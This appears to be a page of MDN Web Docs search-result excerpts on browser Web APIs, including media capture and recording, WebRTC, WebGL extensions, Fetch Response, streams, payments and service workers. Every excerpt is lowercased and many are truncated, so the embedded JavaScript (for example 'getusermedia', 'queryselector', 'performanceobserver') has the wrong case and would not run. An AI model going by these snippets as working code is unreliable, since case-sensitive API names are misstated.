// catch errors since some browsers throw when using the new `type` option.
... // https://bugs.webkit.org/show_bug.cgi?id=209216 try { let lcp; const po = new performanceobserver((entrylist) => { const entries = entrylist.getentries(); const lastentry = entries[entries.length - 1]; // update `lcp` to the latest value, using `rendertime` if it's available, // otherwise using `loadtime`.
LocalFileSystemSync - Web APIs
var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); because you are using a synchronous api, you don't need success and error callbacks.
...you access a sandboxed file system by requesting a localfilesystemsync object from within a web worker using this global method, window.requestfilesystemsync().
MSGestureEvent - Web APIs
events using this interface include msgesturestart, msgestureend, msgesturetap, msgesturehold, msgesturechange, and msinertiastart.
...though the msgestureevent.initgestureevent() method is kept for backward compatibility, the creation of an msgestureevent object should be done using the msgestureevent() constructor.
MediaDeviceInfo.deviceId - Web APIs
ugh the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari no support nowebview android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillchrome android full support 5...
...full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes for earlier versions, this interface is available through the adapter.js polyfilllegend full support ...
MediaDeviceInfo.kind - Web APIs
ugh the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari no support nowebview android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillchrome android full support 5...
...full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes for earlier versions, this interface is available through the adapter.js polyfilllegend full support ...
MediaEncodingConfiguration - Web APIs
using mediarecorder.
...using rtcpeerconnection).
MediaList - Web APIs
WebAPIMediaList
those set using a <link> element's media attribute.
... note: medialist is a live list; updating the list using properties or methods listed below will immediately update the behavior of the document.
MediaQueryList - Web APIs
this method has been kept for backward compatibility; if possible, you should generally use removeeventlistener() to remove change notification callbacks (which should have previously been added using addeventlistener()).
... also available using the onchange event handler property.
MediaRecorder() - Web APIs
the object can optionally be configured to record using a specific media container (file type), and, further, can specify the exact codec and codec configuration(s) to use by specifying the codecs parameter.
...this source media can come from a stream created using navigator.mediadevices.getusermedia() or from an <audio>, <video> or <canvas> element.
MediaRecorder: dataavailable event - Web APIs
examples using addeventlistener to listen for dataavailable events: ...
... the same, but using the ondataavailable event handler property: ...
MediaRecorder: error event - Web APIs
the mediarecorder interface's error event is fired when an error occurs: for example because recording wasn't allowed or was attempted using an unsupported codec.
... examples using addeventlistener to listen for error events: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); recorder.addeventlistener('error', (event) => { console.error(`error recording stream: ${event.error.name}`) }); recorder.start(); } record(); the same, but using the onerror event handler property: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const rec...
MediaRecorder.start() - Web APIs
notsupportederror the media stream you're attempting to record is inactive, or one or more of the stream's tracks is in a format that can't be recorded using the current configuration.
...this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device.
MediaSession - Web APIs
a browser on that device might deliver the metadata provided by calling mediasession to the device in order to be controllable using the global user interface.
...diasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } the following example sets up event handlers for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications ...
MediaStreamAudioSourceOptions - Web APIs
the mediastreamaudiosourceoptions dictionary provides configuration options used when creating a mediastreamaudiosourcenode using its constructor.
... it is not needed when using the audiocontext.createmediastreamsource() method.
MediaStreamConstraints.audio - Web APIs
using a boolean value in this example, we provide a simple value of true for the audio property.
... result using a mediatrackconstraints object now let's look at a similar example that uses a set of constraints based on the mediatrackconstraints dictionary: html content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "ar...
MediaStreamConstraints.video - Web APIs
examples using a boolean value in this example, we provide a simple value of true for the video property.
... result using a mediatrackconstraints object now let's look at a similar example that uses a set of constraints based on the mediatrackconstraints dictionary: html content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px ...
MediaStreamTrack: ended event - Web APIs
a remote peer has permanently stopped sending data; pausing media does not generate an ended event.
... track.addeventlistener('ended', () => { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; }) you can also set up the event handler using the mediastreamtrack.onended property: track.onended = function() { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'ended' in that specification.
MediaStreamTrack.getConstraints() - Web APIs
the getconstraints() method of the mediastreamtrack interface returns a mediatrackconstraints object containing the set of constraints most recently established for the track using a prior call to applyconstraints().
... syntax const constraints = track.getconstraints() return value a mediatrackconstraints object which indicates the constrainable properties the web site or app most recently set using applyconstraints().
MediaStream Recording API - Web APIs
for more information to learn more about using the mediastream recording api, see using the mediastream recording api, which shows how to use the api to record audio clips.
... reference blobevent each time a chunk of media data is finished being recorded, it's delivered to consumers in blob form using a blobevent of type dataavailable.
MediaTrackSettings - Web APIs
these values will adhere as closely as possible to any constraints previously described using a mediatrackconstraints object and set using applyconstraints(), and will adhere to the default constraints for any properties whose constraints haven't been changed, or whose customized constraints couldn't be matched.
... "crop-and-scale" the track's resolution might be the result of the user agent using cropping or downscaling from a higher camera resolution.
MediaTrackSupportedConstraints - Web APIs
instead, the specified constraints will be applied, with any unrecognized constraints stripped from the request.that can lead to confusing and hard to debug errors, so be sure to use getsupportedconstraints() to retrieve this information before attempting to establish constraints if you need to know the difference between silently ignoring a constraint and a constraint being accepted.
... an actual constraint set is described using an object based on the mediatrackconstraints dictionary.
Media Session API - Web APIs
since multiple pages may be simultaneously using this api, the user agent is responsible for calling the correct page's event handlers.
...rather than creating your own mediasession instance, you access the api using the navigator.mediasession property.
Transcoding assets for Media Source Extensions - Web APIs
while the mime type is fairly simple to figure out, we can get the codec string using the mp4info utility.
... summary with your video properly encoded and adaptive bitrate media generated, you're now ready to begin adaptive bitrate streaming on the web using dash and mse.
Media Capture and Streams API (Media Stream) - Web APIs
it provides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the events that are fired during the process.
...a non-local mediastream may be representing to a media element, like <video> or <audio>, a stream originating over the network, and obtained via the webrtc rtcpeerconnection api, or a stream created using the web audio api mediastreamaudiosourcenode.
MessageChannel - Web APIs
example in the following example, you can see a new channel being created using the messagechannel.messagechannel constructor.
... when the iframe has loaded, we register an onmessage handler for messagechannel.port1 and transfer messagechannel.port2 to the iframe using the window.postmessage method along with a message.
MessagePort.close() - Web APIs
WebAPIMessagePortclose
example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using eventtarget.addeventlistener.
... channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html living standardthe definition of 'close()' in that specification.
MessagePort.start() - Web APIs
WebAPIMessagePortstart
this method is only needed when using eventtarget.addeventlistener; it is implied when using messagechannel.onmessage.
... example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using onmessage: channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } another option would be to do this using eventtarget.addeventlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications specification status comment html living s...
MouseEvent.initMouseEvent() - Web APIs
the mouseevent.initmouseevent() method initializes the value of a mouse event once it's been created (normally using the document.createevent() method).
...this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
Navigator.getUserMedia() - Web APIs
while technically not deprecated, this old callback version is marked as such, since the specification strongly encourages using the newer promise returning version.
... errors examples width and height here's an example of using getusermedia(), including code to cope with various browsers' prefixes.
Web-based protocol handlers - Web APIs
background it's fairly common to find web pages link to resources using non-http protocols.
...so, using the above examples, the browser would perform a get on this url: http://www.google.co.uk/?uri=web+burger:cheeseburger server side code can extract the query string parameters and perform the desired action.
navigator.hardwareConcurrency - Web APIs
modern computers have multiple physical processor cores in their cpu (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques.
... examples in this example, one worker is created for each logical processor reported by the browser and a record is created which includes a reference to the new worker as well as a boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use.
Node.cloneNode() - Web APIs
WebAPINodecloneNode
the newclone has no parent and is not part of the document, until it is added to another node that is part of the document (using node.appendchild() or a similar method).
...it does not copy event listeners added using addeventlistener() or those assigned to element properties (e.g., node.onclick = somefunction).
Node.insertBefore() - Web APIs
WebAPINodeinsertBefore
in the previous example, sp1 could be inserted after sp2 using: parentdiv.insertbefore(sp1, sp2.nextsibling) if sp2 does not have a next sibling, then it must be the last child — sp2.nextsibling returns null, and sp1 is inserted at the end of the child node list (immediately after sp2).
... example 3 insert an element before the first child element, using the firstchild property.
Node.nextSibling - Web APIs
WebAPINodenextSibling
therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get.
... the possible inclusion of text nodes must be allowed for when traversing the dom using nextsibling.
Notification.Notification() - Web APIs
it defaults to auto, which just adopts the browser's language setting behavior, but you can override that behaviour by setting values of ltr and rtl (although most browsers seem to ignore these settings.) lang: the notification's language, as specified using a domstring representing a bcp 47 language tag.
...the function is passed parameters to specify the body, icon, and title we want, and then it creates the necessary options object and triggers the notification by using the notification() constructor.
Notification.lang - Web APIs
WebAPINotificationlang
the language itself is specified using a domstring representing a bcp 47 language tag.
... examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor.
OES_element_index_uint - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
OES_fbo_render_mipmap - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
OES_standard_derivatives - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
OES_texture_float - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
OES_texture_float_linear - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
OES_texture_half_float - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
OES_texture_half_float_linear - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
OES_vertex_array_object - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
gl.color_attachment1 gl.color_attachment2 gl.color_attachment3 gl.color_attachment4 gl.color_attachment5 gl.color_attachment6 gl.color_attachment7 gl.color_attachment8 gl.color_attachment9 gl.color_attachment10 gl.color_attachment11 gl.color_attachment12 gl.color_attachment13 gl.color_attachment14 gl.color_attachment15 when using the webgl_draw_buffers extension: ext.color_attachment0_webgl (same as gl.color_attachment0) ext.color_attachment1_webgl ext.color_attachment2_webgl ext.color_attachment3_webgl ext.color_attachment4_webgl ext.color_attachment5_webgl ext.color_attachment6_webgl ext.color_attachment7_webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ...
... ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl when using the webgl_depth_texture extension: ext.depth_stencil_attachment: depth and stencil buffer data storage.
OffscreenCanvas() - Web APIs
examples this example creates a new offscreen canvas using the offscreencanvas() constructor.
... we then initialize a webgl context on it using the getcontext() method.
Page Visibility API - Web APIs
hiding an <iframe> using css properties (such as display: none;) doesn't trigger visibility events or change the state of the document contained within the frame.
... tabs running code that's using real-time network connections (websockets and webrtc) go unthrottled in order to avoid closing these connections timing out and getting unexpectedly closed.
PannerNode.orientationX - Web APIs
depending on the directionality of the sound (as specified using the attributes coneinnerangle, coneouterangle, and coneoutergain), the orientation of the sound may alter the perceived volume of the sound as it's being played.
...rotation in the 'horizontal plane') to an orientation vector const yrotationtovector = degrees => { // convert degrees to radians and offset the angle so 0 points towards the listener const radians = (degrees - 90) * (math.pi / 180); // using cosine and sine here ensures the output values are always normalised // i.e.
PannerNode.orientationY - Web APIs
depending on the directionality of the sound (as specified using the attributes coneinnerangle, coneouterangle, and codeoutergain), the orientation of the sound may alter the perceived volume of the sound as it's being played.
...rotation in the 'horizontal plane') to an orientation vector const yrotationtovector = degrees => { // convert degrees to radians and offset the angle so 0 points towards the listener const radians = (degrees - 90) * (math.pi / 180); // using cosine and sine here ensures the output values are always normalised // i.e.
PannerNode.orientationZ - Web APIs
depending on the directionality of the sound (as specified using the attributes coneinnerangle, coneouterangle, and codeoutergain), the orientation of the sound may alter the perceived volume of the sound as it's being played.
...rotation in the 'horizontal plane') to an orientation vector const yrotationtovector = degrees => { // convert degrees to radians and offset the angle so 0 points towards the listener const radians = (degrees - 90) * (math.pi / 180); // using cosine and sine here ensures the output values are always normalised // i.e.
PaymentAddress - Web APIs
paymentaddress.country read only a domstring specifying the country in which the address is located, using the iso-3166-1 alpha-2 standard.
..."success" : "failure"; await response.complete(result); } dopaymentrequest(); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
PaymentCurrencyAmount.value - Web APIs
important note: the number given in this string is always specified using the period (".") as the decimal point, rather than the comma (","), even if the user's locale normally uses the comma.
... for uniformity and consistency, the value is always given using the period (".") as the decimal character, regardless of the user's locale.
PaymentRequest.onpaymentmethodchange - Web APIs
for example, when using apple pay, the user can swipe to select different credit cards, debit cards, and so forth.
... examples an example payment method change handler is shown below; this example handles changes made to the payment method when using apple pay, specifically: request.onpaymentmethodchange = ev => { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "store": // do apple pay specific handling for store card...
PaymentRequestUpdateEvent - Web APIs
also available using the onshippingaddresschange event handler property.
... also available using the onshippingoptionchange event handler property.
Payment Request API - Web APIs
advantages of using the payment request api with "basic-card" (card-based payments): fast purchase experience: users enter their details once into the browser and are then ready to pay for goods and services on the web.
... you can find a complete guide in using the payment request api.
PerformanceTiming - Web APIs
you get a performancetiming object describing your page using the window.performance.timing property.
... performancetiming.fetchstart read only when the browser is ready to fetch the document using an http request.
Pointer Lock API - Web APIs
here is an example of using pointerlockelement: if(document.pointerlockelement === canvas || document.mozpointerlockelement === canvas) { console.log('the pointer lock status is now locked'); } else { console.log('the pointer lock status is now unlocked'); } the document.exitpointerlock() method is used to exit pointer lock, and like requestpointerlock, works asynchronously using the pointerlockchange and pointe...
...when you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse.
Multi-touch interaction - Web APIs
this document demonstrates via example code, using pointer events with different multi-touch interactions.
... example this example demonstrates using pointer events' various event types (pointerdown, pointermove, pointerup pointercancel, etc.) for different multi-touch interactions.
ProgressEvent() - Web APIs
when downloading a resource using http, this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the content itself, not headers and other overhead.
PublicKeyCredential - Web APIs
the publickeycredential interface provides information about a public key / private key pair, which is a credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
... } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; var clientextensionsresults = newcredentialinfo.getclientextensionresults(); }).catch(function (err) { console.error(err); }); getting an existing instance of publickeycredential here, we fetch an existing credential from an authenticator, using navigator.credentials.get().
PublicKeyCredentialCreationOptions.attestation - Web APIs
which device they are using).
... "indirect": the client may change the assertion from the authenticator (for instance, using an anonymization ca).
PushManager.subscribe() - Web APIs
for more information, see "using vapid with webpush".
...kerregistration) { var options = { uservisibleonly: true, applicationserverkey: applicationserverkey }; serviceworkerregistration.pushmanager.subscribe(options).then( function(pushsubscription) { console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
RTCConfiguration.certificates - Web APIs
see using certificates below for more information on why you might want to—or not to—explicitly provide certificates.
... using certificates when you wish to provide your own certificates for use by an rtcpeerconnection instead of having the rtcpeerconnection generate them automatically, you do so by calling the static rtcpeerconnection.generatecertificate() function.
RTCDataChannel: error event - Web APIs
error information is output to the console using console.error().
... you can also set up an event handler for error events using the rtcdatachannel interface's onerror event handler property: dc.onerror = ev => { const err = ev.error; /* ...
RTCError - Web APIs
WebAPIRTCError
this message is then displayed using a function called showmyalertmessage(), which stands in for whatever output mechanism this code might use.
... any other error is treated as terminal, causing a terminatemyconnection() function to be called.
RTCErrorEvent.error - Web APIs
this message is then displayed using a function called showmyalertmessage(), which stands in for whatever output mechanism this code might use.
... any other error is treated as terminal, causing a terminatemyconnection() function to be called.
RTCIceCandidate.candidate - Web APIs
this property can be configured by specifying the value of the candidate property when constructing the new candidate object using rtcicecandidate().
... the new candidate is then passed into rtcpeerconnection.addicecandidate() to add the candidate to the list of candidates for webrtc to consider using for the connection being established.
RTCIceCandidate.sdpMid - Web APIs
this property can be configured by specifying the value of the sdpmid property when constructing the new candidate object using rtcicecandidate().
... note: attempting to add a candidate (using addicecandidate()) that has a value of null for either sdpmid or sdpmlineindex will throw a typeerror exception.
RTCIceCandidatePairStats.availableIncomingBitrate - Web APIs
the value returned is calculated by adding up the available bit rate for every rtp stream using the connection described by this candidate pair.
... note: the returned value is computed using a method similar—but not identical—to the transport independent application specific maximum (tias) described in rfc 3890: 6.2.
RTCIceCandidatePairStats.availableOutgoingBitrate - Web APIs
the value returned is calculated by adding up the available bit rate for every rtp stream using the connection described by this candidate pair.
... note: the returned value is computed using a method similar—but not identical—to the transport independent application specific maximum (tias) described in rfc 3890: 6.2.
RTCIceCandidateStats.networkType - Web APIs
for example, if the networktype is wifi but the user is connected using a cellular hotspot, the connection will be bottlenecked by the underlying cellular network (and any other networks between the two peers).
... example this example sets up a periodic function using setinterval() that outputs statistics reports for candidates that use or would use a cellular data network to a log view.
RTCIceCandidateStats.priority - Web APIs
determining priority the ice specification describes how user agents and other software using webrtc should calculate the priority.
... the priority of a candidate is calculated using the following variables as inputs: the preferability of the candidate type (local, server reflexive, peer reflexive, or relayed) the preferability of the candidate's specific ip address (for multihomed agents) the candidate's component id (1 for rtp, 2 for rtcp) the candidate's priority is computed using the formula (ptype is the priority of the candidate's type and plocal is the priority of the ip address): priority = 224×ptype + 28×plocal + (256 - componentid)priority\quad =\quad { 2 }^{ 24 }\times { p }_{ type }\quad +\quad { 2 }^{ 8 }\times { p }_{ local }\quad +\quad (256\quad -\quad componentid) this is equivalent to mapping the priorities of teh candidate type, the local ip, and the component id into various bit ranges within th...
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
by using the fec parity information to attempt to reconstruct damaged packets, it is possible to avoid the need to retransmit damaged packets, which in turn helps to reduce lag, or the need to skip damaged frames entirely.
...this can happen if the packets covered by the fec packets have already been received successfully or have already been reconstructed using a previously-received fec packet.
RTCPeerConnection.addStream() - Web APIs
instead of using this obsolete method, you should instead use addtrack() once for each track you wish to send to the remote peer.
...you can write web compatible code using feature detection instead: // add a track to a stream and the peer connection said stream was added to: stream.addtrack(track); if (pc.addtrack) { pc.addtrack(track, stream); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } // remove a track from a stream and the peer connection said stream was adde...
RTCPeerConnection.getStats() - Web APIs
obsolete syntax previously, getstats() used success and failure callbacks to report the results to you, instead of using a promise.
... example this example creates a periodic function using setinterval() that collects statistics for an rtcpeerconnection every second, generating an html-formatted report and inserting it into a specific element in the dom.
RTCPeerConnection: icecandidate event - Web APIs
rtcpeerconnection.onicecandidate = (event) => { if (event.candidate) { sendcandidatetoremotepeer(event.candidate) } else { /* there are no more candidates coming during this negotiation */ } } the remote peer, upon receiving the candidate, will add the candidate to its candidate pool by calling addicecandidate(), passing in the candidate string you have passed along using the signaling server.
... first, an example using addeventlistener(): pc.addeventlistener("icecandidate", ev => { if (ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate }); } }, false); you can also set the onicecandidate event handler property directly: pc.onicecandidate = ev => { if (ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate...
RTCPeerConnection: peeridentity event - Web APIs
the new identiy can be access using the rtcpeerconnection.peeridentity property.
...instead of using this event to detect when an identity is available, simply wait for the promise returned by rtcpeerconnection.peeridentity to be resolved.
RTCPeerConnection.setLocalDescription() - Web APIs
deprecated exceptions when using the deprecated callback-based version of setlocaldescription(), the following exceptions may occur: invalidstateerror the connection's signalingstate is "closed", indicating that the connection is not currently open, so negotiation cannot take place.
...we can then send the newly-created offer along to the other peer using the signaling server, which here is done by calling a function called signalremotepeer().
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
the remainder of the networkteststop() function constructs the html used to display the output of the collected and computed results to the user, then append it to the element statsbox, which we're using to show the status updates to the user.
... you can also access it directly using glitch's git server.
RTCRtpEncodingParameters - Web APIs
rid a domstring which, if set, specifies an rtp stream id (rid) to be sent using the rid header extension.
... this parameter cannot be modified using setparameters().
RTCRtpSendParameters.encodings - Web APIs
rid a domstring which, if set, specifies an rtp stream id (rid) to be sent using the rid header extension.
... this parameter cannot be modified using setparameters().
RTCRtpSender - Web APIs
properties rtcrtpsender.dtmf read only an rtcdtmfsender which can be used to send dtmf tones using telephone-event payloads on the rtp session represented by the rtcrtpsender object.
... rtcrtpsender.getstats() returns a promise which is fulfilled with a rtcstatsreport which provides statistics data for all outbound streams being sent using this rtcrtpsender.
RTCRtpTransceiver.currentDirection - Web APIs
you can examine and set the transceiver's preferred directionality using direction property.
... [1] to determine if a sender has at least one active encoding, the user agent gets its parameters using rtcrtpsender.getparameters(), then looks at the parameters' encodings property; if any of the listed encodings has its active property set to true, the sender has an active encoding.
RTCRtpTransceiver - Web APIs
a transceiver is uniquely identified using its mid property, which is the same as the media id (mid) of its corresponding m-line.
... stopped indicates whether or not sending and receiving using the paired rtcrtpsender and rtcrtpreceiver has been permanently disabled, either due to sdp offer/answer, or due to a call to stop().
RTCSessionDescriptionCallback - Web APIs
the rtcsessiondescriptioncallback type is used to represent the callback function passed into the deprecated callback-based version of createoffer() or createanswer() when using them to create offers or answers.
... because this function type is part of the legacy webrtc api, you should avoid using it (and the callback-based forms of createoffer() and createanswer() that make use of it).
Range() - Web APIs
WebAPIRangeRange
syntax range = new range() example in this example we create a new range with the range() constructor, and set its beginning and end positions using the range.setstartbefore() and range.setendafter() methods.
... we then select the range using window.getselection() and selection.addrange().
Range - Web APIs
WebAPIRange
a range can be created by using the document.createrange() method.
... range objects can also be retrieved by using the getrangeat() method of the selection object or the caretrangefrompoint() method of the document object.
ReadableStream.ReadableStream() - Web APIs
examples in the following simple example, a custom readablestream is created using a constructor (see our simple random stream example for the full code).
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
ReadableStreamDefaultController.close() - Web APIs
examples in the following simple example, a custom readablestream is created using a constructor (see our simple random stream example for the full code).
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
ReadableStreamDefaultController.enqueue() - Web APIs
examples in the following simple example, a custom readablestream is created using a constructor (see our simple random stream example for the full code).
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
ReadableStreamDefaultController - Web APIs
examples in the following simple example, a custom readablestream is created using a constructor (see our simple random stream example for the full code).
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
Report - Web APIs
WebAPIReport
examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
...we loop over each report using a basic for loop, then iterate over each entry of in the report's body using a for...in structure, displaying each key/value pair inside a list item.
Request() - Web APIs
WebAPIRequestRequest
note that a request using the get or head method cannot have a body.
... example in our fetch request example (see fetch request live) we create a new request object using the constructor, then fetch it using a globalfetch.fetch call.
Response.headers - Web APIs
WebAPIResponseheaders
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
Response.ok - Web APIs
WebAPIResponseok
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
Response.status - Web APIs
WebAPIResponsestatus
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
Response.statusText - Web APIs
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
Response.type - Web APIs
WebAPIResponsetype
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
Response.url - Web APIs
WebAPIResponseurl
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
SVGElement - Web APIs
these can also be defined in svg using attributes of the form data-*, where * is the key name for the pair.
... methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance events listen to these events using addeventlistener() or by assigning an event listener to the equivalent on...
SVGTransformList - Web APIs
example using multiple svgtransform objects in this example we create a function that will apply three different transformations to the svg element that has been clicked on.
... <svg id="my-svg" viewbox="0 0 300 280" xmlns="http://www.w3.org/2000/svg" version="1.1"> <desc>example showing how to transform svg elements that using svgtransform objects</desc> <script type="application/ecmascript"> <![cdata[ function transformme(evt) { // svg root element to access the createsvgtransform() function var svgroot = evt.target.parentnode; // svgtransformlist of the element that has been clicked on var tfmlist = evt.target.transform.baseval; // create a seperate transform object for each tran...
Screen.availHeight - Web APIs
since screen is exposed on the window interface's window.screen property, you access availheight using window.screen.availheight.
... example if your web application needs to open a new window, such as a tool palette which can contain multiple panels, and wants to position it so that it occupies the entire vertical space available, you can do so using code similar to what's seen here.
ScriptProcessorNode - Web APIs
the scriptprocessornode interface allows the generation, processing, or analyzing of audio using javascript.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: audioprocess fired when an input buffer of a scriptprocessornode is ready to be processed.
Selection API - Web APIs
once your selection is in a variable, you perform a variety of operations on it, for example copying the selection to a text string using selection.tostring(), adding a range (as represented by a standard range object) to the selection (or removing one) with selection.addrange()/selection.removerange(), or changing the selection to be the entire contents of a dom node using selection.selectallchildren().
... you can run code in response to the selection being changed, or a new selection being started, using the globaleventhandlers.onselectionchange and globaleventhandlers.onselectstart event handlers.
Sensor APIs - Web APIs
do this using the permissions api.
... the following example illustrates this using the magnetometer sensor.
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
notifications created on the main thread or in workers which aren't service workers using the notification() constructor will instead receive a click event on the notification object itself.
... note: trying to create a notification inside the serviceworkerglobalscope using the notification() constructor will throw an error.
onnotificationclose - Web APIs
notifications created on the main thread or in workers which aren't service workers using the notification() constructor will instead receive a close event on the notification object itself.
... note: trying to create a notification inside the serviceworkerglobalscope using the notification() constructor will throw an error.
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
consider using another method to synchronize subscription information between your service worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to exchange data fail.
...this is delivered to the app server using a fetch() call to post a json formatted rendition of the subscription's endpoint to the app server.
ShadowRoot - Web APIs
you can retrieve a reference to an element's shadow root using its element.shadowroot property, provided it was created using element.attachshadow() with the mode option set to open.
... connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); } attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot.
SharedWorker.port - Web APIs
WebAPISharedWorkerport
